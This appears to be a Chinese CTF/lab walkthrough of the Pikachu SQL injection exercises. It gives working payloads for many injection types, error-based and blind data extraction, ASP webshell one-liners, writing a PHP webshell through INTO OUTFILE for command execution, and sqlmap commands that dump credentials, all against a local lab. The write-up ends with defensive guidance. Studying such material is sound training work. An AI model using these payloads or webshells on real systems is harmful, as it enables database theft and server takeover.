【web-ctf】ctf-pikachu-sql
文章目录
- SQL注入
- 1.数字型注入(post)
- 2.字符型注入(get)
- 3.搜索型注入
- 4.XX型注入
- 5."insert/update"注入
- 6."delete"注入
- 7."http header"注入
- 8.盲注(base on boolean)
- 9.盲注(base on time)
- 10.宽字节注入
- 扩展
- 1.SQL注入手动测试-基于union的信息获取
- 2.information_schema表
- 3.SQL注入手动测试-基于函数报错的信息获取
- 4.SQL注入手动测试-os远程控制
- 5.SQL注入之表(列)名的暴力破解
- 6.SQL注入防范
- 7.sqlmap工具使用
SQL注入
SQL注入原理:主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交游戏额精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄露。
SQL注入攻击流程:
-
注入点探测:
(1)自动方式:使用web漏洞扫描工具,自动进行注入点发现
(2)手动方式:手工构造sql inject测试语句进行注入点发现 -
信息获取:通过注入点取得期望得到的数据
(1)环境信息:数据库类型,数据库版本,操作系统版本,用户信息等。
(2)数据库信息:数据库名称,数据库表,表字段,字段内容(加密内容破解) -
获取权限:获取操作系统权限
通过数据库执行shell,上传木马
常见注入点类型:
- 数字型:user_id = $id
- 字符型:user_id = ‘$id’
- 搜索型:text LIKE ‘%{$_GET[‘search’]}%’"
1.数字型注入(post)
-
首先我们先随便选择一个id,看下页面返回什么

发现返回了“用户姓名”和“用户邮箱”,因此我们可以初步判断后台执行的sql语句为:select 字段1(表示姓名),字段2(表示邮箱) from 表名 where 索引(表示id)=1 -
然后我们随便选择一个id,用burpsuite对其进行抓包

发现变量在最下方,可以判断为post类型。传入的1赋值给了变量id,因此可以判断id可能为注入点。所以我们可以构造一个简单的特殊字段,看是否可以注入成功。1 or 1=1 -
修改burpsuite抓到的包,并点击forward发送出去。

-
根据我们输入的内容,原sql语句变为:
select 字段1(表示姓名),字段2(表示邮箱) from 表名 where 索引(表示id)=1 or 1=1这样一来,这条sql语句的意义就变为将该表的所有姓名和邮箱内容都打印出来。

返回页面查看,发现所有的姓名和邮箱都被打印出来了。注入成功。
2.字符型注入(get)
-
先随便输入一段字符串,观察网页返回内容。

由于网页要我们输入姓名,而我们不知道数据库中有哪些姓名,因此随便输入“abc”,数据库中没有"abc"这个姓名,因此无法返回内容,但我们发现点击查询后,网页url发生了变化。我们知道网页url的?后面用于输入变量,而后面的变量内容为:name=abc&submit=查询因此我们可以判断该网页提交变量的方式为get,并且提交的内容为字符串。
-
假想一下后台是执行了哪条语句,并构造特殊字段进行注入。
后台的sql语句可能为:
select 某些字段 from 某表 where name='abc'因此我们可以构造一个特殊字段,比如:
abc' or 1=1#(#代表注释,--也代表注释,不过用法不太一样;#后面直接接注释内容,--后面需要加一个空格再接注释内容)放入sql语句中变为:
select 某些字段 from 某表 where name='abc' or 1=1#'这样一来,该语句就会查询该表的所有这些字段。
-
将上述字段放入输入框中

也可以直接放入网页url中,但需要注意一个细节,#无法被网页url识别,因此需要使用#的url编码,即%23,因此原特殊字段变为:abc' or 1=1%23或者直接输入
abc' or 1=1-- (注意--后面有一个空格)注入成功。
3.搜索型注入
首先了解一下数据库中搜索是如何达成的:
select * from member where username like '%k%'
这条语句中like可以理解为:“形如”的意思,%表示通配符
这样一来该语句的意思就变为了“从member表中找username中含k的内容”
-
先随便输入一些内容,看看页面返回什么

由此可以判断该网页后台使用了类似于上面的sql语句,具体sql语句可判断为:select username,uid,email from 表名 where username like '%输入内容%' -
我们根据判断出来的sql语句构造特殊字段进行注入。
具体可以这样构造:
'#这样一来原sql语句变为:
select username,uid,email from 表名 where username like '%'#%'意义变为:选择所有username与通配符%类似的内容,其实就是选择所有内容。
-
将’#放到输入框中,观察返回内容。

注入成功。扩展:想想其他构造特殊字段的方法。
比如:abc%’ or 1=1#
4.XX型注入
开发人员会用各种方法去拼接变量,有可能加’',也有可能加(),这就需要我们凭借经验去尝试。
-
一看到这个页面,发现和字符型注入的页面一模一样,因此我们使用字符型注入的那段特殊字段进行注入。

发现网站返回sql语句错误,因此我们可以判断后台拼接变量时并不是仅仅加了单引号这么简单。因此我们可以尝试假设后台拼接使用了(),那么sql语句为:
select 某些字段 from 某表 where username=(‘变量’) -
由此我们可以构造特殊字段
') or 1=1#这样原sql语句变为
select 某些字段 from 某表 where username=('') or 1=1#') -
发现可以注入成功。

这种情况就要看攻击者的经验是否丰富了。
5."insert/update"注入
insert语法:
第一种:
INSERT INTO table_name
VALUES (value1,value2,value3,...);第二种:
INSERT INTO table_name(column1,column2,column3,...)
VALUES (value1,value2,value3,...);
update语法:
UPDATE table_name
SET column1=value1,column2=value2,...
WHERE some_column=some_value;
insert/update构造特殊字段闭合的方法:
字符型:
abc' or updatexml(1,concat('~',database(),'~'),1) or '
- 将构造好的特殊字段放入输入框

- 注入成功。

6."delete"注入
delete语法:
DELETE FROM table_name
WHERE some_column=some_value;
delete构造特殊字段的方法:
数字型:
1 or updatexml(1,concat('~',database(),'~'),1)
或者:1 and updatexml(1,concat('~',database(),'~'),1)
-
随便输入一个留言。

-
开启burpsuite抓包,点击删除,获取数据包。

-
发送到Repeater模块,注意由于是delete操作,最好发到该模块进行操作,否则一旦操作不慎,就会导致整个数据库被删除。

-
将构造好的payload放到id后面,并进行url编码(ctrl+u)。

-
发送并观察respond数据包。

注入成功。
7."http header"注入
原理:有时开发人员会通过http header头信息获取客户端的一些信息,比如useragent,accept字段等,获取信息时会使用sql进行处理,但如果没有考虑安全问题,就可能会导致基于http header的SQL注入漏洞。
修改useragent进行注入:
-
首先登录一下,用户:admin, 密码:123456

发现我们的http header的部分头部信息被获取到了。 -
用burpsuite抓包,并修改useragent字段,看是否存在sql注入漏洞。

用单引号’替换useragent的内容,发现返回的数据包产生了一个mysql的报错,证明后台将单引号进行了解析,存在sql注入漏洞。 -
一般来讲,后台获取我们的数据之后,会执行insert操作,将数据插入到数据库中,因此我们可以使用基于insert的sql注入方法。
abc’ or updatexml(1,concat(‘~’,version(),‘~’),1) or ’

注入成功。
修改cookie进行注入:
-
修改cookie值,观察是否存在sql注入漏洞。

修改uname为单引号’,发现产生了mysql错误,可以证明存在sql注入漏洞。 -
一般来讲,后台获取我们的数据之后,会执行insert操作,将数据插入到数据库中,因此我们可以使用基于insert的sql注入方法。
abc’ or updatexml(1,concat(‘~’,version(),‘~’),1)#

注入成功。
总结:sql注入点不一定只在一些输入点位置,没准也可能在http header位置
8.盲注(base on boolean)
当页面不会显示payload的返回信息而且后台使用了错误消息屏蔽方法屏蔽了报错信息时,我们无法通过直观的方式获取需要的信息。这种情况下的sql注入,称为盲注。
直观的理解就是:虽然存在SQL注入点,但注入后无法直接获取信息。
基于boolean的盲注的主要表现症状:
1. 没有报错信息
2. 不管是正确的输入,还是错误的输入,都只显示两种情况(可以认为是0和1)
3. 在正确的输入下,输入and 1=1/and 1=2发现可以判断
-
先输入之前用过的payload,发现都不能获取信息。但不代表不存在注入点。
-
我们先输入一个数据库中存在的用户名,并使用以下payload进行操作:
kobe' and 1=1#kobe' and 1=2#注:其中kobe是数据库中存在的用户名当使用kobe’ and 1=1#时,发现产生了返回数据,因此可以判断后台并没有将该字段判断为异常,并进行了解析,因此可以判断该处有注入漏洞。

使用kobe’ and 1=2#时,页面同样显示不存在username。

-
由此我们可以想到,如果使用存在的用户名,那么在and后面我们可以去构造我们想得到的信息,并进行比较判断,这样就可以一步一步推算出我们想要的信息,比如:
kobe’ and (length(database())>6)#
如果显示kobe的信息,那么就表明后面的length(database())>6为真,如果显示为username不存在,那么就表明后面的length(database())>6为假。

显示了信息,说明数据库的字符串长度大于6。通过这种方法我们可以一点一点确定我们需要的信息,不过这种方法手动操作太困难,因此我们可以利用工具来操作。注:该题目中,使用boolean盲注的方式的前提是我们必须有一个数据库中存在的用户名(本题中我们用了kobe),但一般情况下我们是不知道数据库中存在哪些用户,因此在真实情形下,我们可以自行先注册一个用户,然后用自己设定的用户名进行操作。反正一定要灵活运用。
9.盲注(base on time)
基于time的盲注完全无法从页面的返回信息中获得任何信息,但是还有一个条件就是“时间”,通过特定的输入,判断后台执行的时间,从而确认注入。
常用的test payload:
kobe' and sleep(5)#
判断注入点方法:
观察输入kobe和kobe' and sleep(5)#的区别,从而判断这里存在base on time的SQL注入漏洞。
-
尝试用’、报错、基于boolean的特殊字段进行注入,但都无法获取有效信息,此时可以尝试基于time的注入方法。

kobe' and sleep(5)#发现使用该方法页面5秒之后才加载出来(截图里面显示7秒,因为我的网速不太行)
从这里我们可以判断sleep(5)被后端执行了,因此这个网页存在注入点,但我们如何利用呢?
-
可以这样构造特殊字段。
kobe' and if((substr(database(),1,1))='p',sleep(5),null)#该字段使用了if语句,意思是,如果database()的第一个字符为’p’,那么页面sleep五秒钟,否则不sleep。这样我们就可以通过这种方式一步一步慢慢获取信息了。

发现页面5秒之后才显示,因此可以判断数据库字符串的第一个字符为’p’。
10.宽字节注入
扩展
1.SQL注入手动测试-基于union的信息获取
union 联合查询:可以通过联合查询来查询指定的数据。
例:
select username,password from user where id=1 union select 字段1,字段2 from 表名
注意:union查询中前后两条sql语句的查询字段数要相同,否则就会报错。
用处:可以利用union查询获得更多有关数据库的相关信息,如权限信息,数据库名,表名,字段名等等
1. select database():查询当前数据库名称
2. select user():查询当前用户权限
3. select version():查询当前数据库版本
4. 利用information_schema表查询更多内容
因为union查询要保证字段数一致,所以我们要怎样才能确定主查询有多少个字段呢?
一般采用order by方法:
order by的功能是根据指定列进行排序。
select id,email from member where username='kobe' order by 1
select id,email from member where username='kobe' order by 2
select id,email from member where username='kobe' order by 3
....
直到报错,就可以知道一共有多少个列了。
以字符型注入为例:
-
确定该网页存在sql注入漏洞:刚才已经验证过了,存在sql注入漏洞。
-
确定主查询含有几个字段:
使用:’ order by x#


判断为含2个字段。 -
使用union查询获取更多信息。
' union select database(),user()#查询两个字段。

由于主查询字段没有输出内容,因此只输出了union后面的查询结果。即database()为pikachu,user()为root。
小技巧:如果union后面查询的内容不够主查询的字段数,可以用随便一个数字拼凑即可,如只想看看database()是什么,可以这样构造特殊字段:
’ union select database(),1#
2.information_schema表
在mysql5.0版本之后,默认自带一个数据库information.schema,该数据库中包含mysql中所有的数据库名,表名和字段名。因此我们可以利用union查询该表,获取这些信息,以供我们更好地进行sql注入。
假设主查询只含有一个字段:
查询某数据库中所有表名的方法:
union select group_concat(table_name) from information_schema.tables where table_schema=database()
查询某表中所有字段名的方法:
union select group_concat(column_name) from information_schema.columns where table_name='xx'xx可以先用上面查表名的方法查询出来,然后再输入进去。
group_concat()是一种可以将多行内容拼接到一行输出的方法。因为一般的网页只会输出一行数据,因此这个方法很实用。
3.SQL注入手动测试-基于函数报错的信息获取
常用的报错函数:updatexml()、extractvalue()、floor()
原理:mysql中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。select/insert/update/delete都可以使用报错来获取信息。
获取条件:后台没有屏蔽数据库报错信息,在语法发生错误时会输出到前端。
1. updatexml():mysql对xml文档数据进行查询和修改的XPATH函数。
2. extractvalue():mysql对xml文档数据进行查询的XPATH函数。
3. floor():mysql中用来取整的函数。
-
updatexml
函数作用:改变(查找并替换)XML文档中符合条件的节点的值
语法: UPDATEXML(xml_document,XPathstring,new_value)xml_document参数:XML的内容,为表中的字段名XPathstring参数:需要update的位置XPATH路径。必须是有效的,否则报错,并将输入的参数信息输出出来。new_value参数:更新后的内容我们可以根据该函数第二个参数如果不合法就输出参数信息的特点利用该函数获取信息。
以字符型注入为例(因为简单哈哈):
可以这样构造特殊字段:
' and updatexml(1,concat('~',version(),'~'),1)#或者使用' and updatexml(1,concat(0x7e,version(),0x7e),1)# 这个更好,因为可以避免后台过滤了'和~注:concat函数:字符串拼接函数。因为我们第二个参数一定是不存在的,所以会产生报错信息,而报错信息就会把version()的真实内容返回回来。
(1)首先要判断该页面会不会返回报错信息,这是利用报错函数获取信息的前提,如果不返回报错信息,那么使用该函数没有意义。
随便输入一些含特殊字符的内容,发现返回报错信息

(2)然后将特殊字符放入输入框。

发现返回了MySQL版本。我们可以利用该函数获取任何我们想要的信息,比如使用select语句获取表的信息等等。如:
' and updatexml(1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),1)# -
extractvalue
函数作用:从目标xml中返回包含所查询值的字符串。
语法:ExtractValue(xml_document,xpath,xpath_string)与updatexml原理一样。
-
floor
原理:sql注入,floor报错原理
特殊字段构造方法:
select 1 from (select count(*),concat('~',version(),'~',floor(rand(0)*2))x from test group by x)a#注:x代表concat('~',version(),'~',floor(rand(0)*2)) ;a代表select count(*),concat('~',version(),'~',floor(rand(0)*2))x from test group by x可以写为:select 1 from (select count(*),x from test group by x)a#进而写为:select 1 from a#所以重要部分为a,select 1 from a没有什么实际意义,只是在a外面嵌套了一层查询操作。我们来观察a:
select count(*),concat('~',version(),'~',floor(rand(0)*2))x from test group by x可以明显发现和上述链接中介绍的floor报错原理形式一致。注入时,我们需要将test换为某个存在的表即可,比如:information_schema.tables
字符型注入方法:
a' and (select 1 from (select count(*),concat('~',version(),'~',floor(rand(0)*2))x from information_schema.tables group by x)a)#
4.SQL注入手动测试-os远程控制
如何通过sql注入漏洞进行远程控制操作系统,主要内容:
- 一句话木马
- 如何通过into outfile写入恶意代码并控制os
-
一句话木马
一句话木马是一种短小而精悍的木马客户端,它由各种语言提供的执行操作系统命令的函数构成,隐蔽性好,且功能强大。
PHP:ASP:<%eval request("chopper")%>ASP.NET:<%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%> -
通过into outfile写入恶意代码
into outfile功能:将select的结果写入到指定目录的文件中
小技巧:在一些没有回显的注入中可以使用into outfile将结果写入到指定文件,然后访问获取
select 1,2 into outfile “/var/www/html/1.txt”
前提条件:
1. 需要知道网站搭建的目录2. 需要远程目录有写权限3. 需要数据库开启了secure_file_priv以字符型注入为例:
kobe' union select "",2 into outfile "/var/www/html/1.php"kobe' union select "",2 into outfile "/var/www/html/2.php"注:eval函数作用是将字符串当成php代码来执行;system函数作用是将字符串当成cmd代码来执行。写完后,远程打开该网站“/var/www/html/1.php”目录,并传入参数。
网站ip/1.php?test=phpinfo();发现网页执行了phpinfo()函数。
网站ip/2.php?cmd=ls;发现网页返回了当前目录下的所有文件。
5.SQL注入之表(列)名的暴力破解
有时数据库不是mysql或者mysql的information_schema没有权限读取或者mysql的版本低于5.0,在此情况下,我们可以通过对表(列)名的暴力破解获取信息。
以字符型注入为例:
特殊字段构造方法为:
kobe' and exists(select * from aa)#
此时aa为猜测对象
如果返回了kobe的相关信息,那么就证明存在表aakobe' and exists(select id from users)#
此时id为猜测对象
如果返回了kobe的相关信息,那么就证明存在列id注:如果用and连接,那么类似于基于boolean的盲注,and的前半部分一定是数据库中存在的用户才可以。' or exists(select * from aa)#
此时aa为猜测对象
如果返回了所有人的相关信息,那么就证明存在表aa' or exists(select id from users)#
此时id为猜测对象
如果返回了所有人的相关信息,那么就证明存在列id注:如果用and连接,那么类似于基于boolean的盲注,and的前半部分一定是数据库中存在的用户才可以。
-
先提交一个payload,并用burpsuite抓包。

-
然后将该数据包发送到intruder模块,对猜测点aa进行暴力破解。

手动添加一些表名,实际操作时可以导入字典。

-
由于当表不存在的时候页面会返回“doesn’t exist”字段,因此我们可以再options模块中输入该字段,让他帮助我们筛选掉那些返回该字段的表。


-
开始暴力破解。

发现选择member和users两个表时返回页面不含doesn’t exist字段,因此可以判断数据库中包含这两个表。
6.SQL注入防范
代码层面:
1. 对输入进行严格的转义和过滤
2. 使用预处理和参数化
网络层面:
1. 通过WAF设备启用防SQL注入策略
2. 云端防护(360网站卫士,阿里云盾等)
代码层面:
-
对输入进行严格的转义和过滤(不是最好的方法,因为语言一直更新,现在无意义的字符不代表以后无意义,单纯的过滤和转义可能会导致代码出现逻辑问题)
转义:
使用mysqli_real_escape_string(\$link,\$data)函数过滤:
使用str_replace("%","",$_POST['username']),把post里面的数据中含有%的内容替换为空 -
使用预处理和参数化(推荐)
使用PDO的prepare预处理:

原理:sql注入漏洞的产生原因在于直接将传入的参数拼接到sql语句中。而预处理操作是先用占位符?将变量的位置替代,然后将sql语句与数据库进行交互,最后再单方面将变量传入,这样就从根本上避免了sql注入漏洞。
网络层面:


WAF工作原理:识别payload,如果传入的变量中存在类似于payload的字段,那么WAF可以将这次请求阻断。
因为我们无法保证运行在网络层面的WAF不会故障,也无法保证后端开发人员代码写的一定足够安全,因此sql注入漏洞依然存在。所以在现实生活中我们要同时推进这两个层面的防护措施。
7.sqlmap工具使用
sqlmap使用教程
常规使用方法:
以字符型注入为例:
-
随便输入一些内容,获取网页url。

-
使用-u操作来检测该url中是否存在注入点。
python sqlmap.py -u "http://127.0.0.1/pikachu-master/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2"
发现name参数处存在注入点。
-
使用–current-db来读取当前数据库。
python sqlmap.py -u "http://127.0.0.1/pikachu-master/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --current-db
读取到数据库名称为“pikachu”
-
使用–tables来获取该数据库中的表。
python sqlmap.py -u "http://127.0.0.1/pikachu-master/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables
-
获取users表中的列名。
python sqlmap.py -u "http://127.0.0.1/pikachu-master/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns
-
获取username和password。
python sqlmap.py -u "http://127.0.0.1/pikachu-master/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C username,password --dump
本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
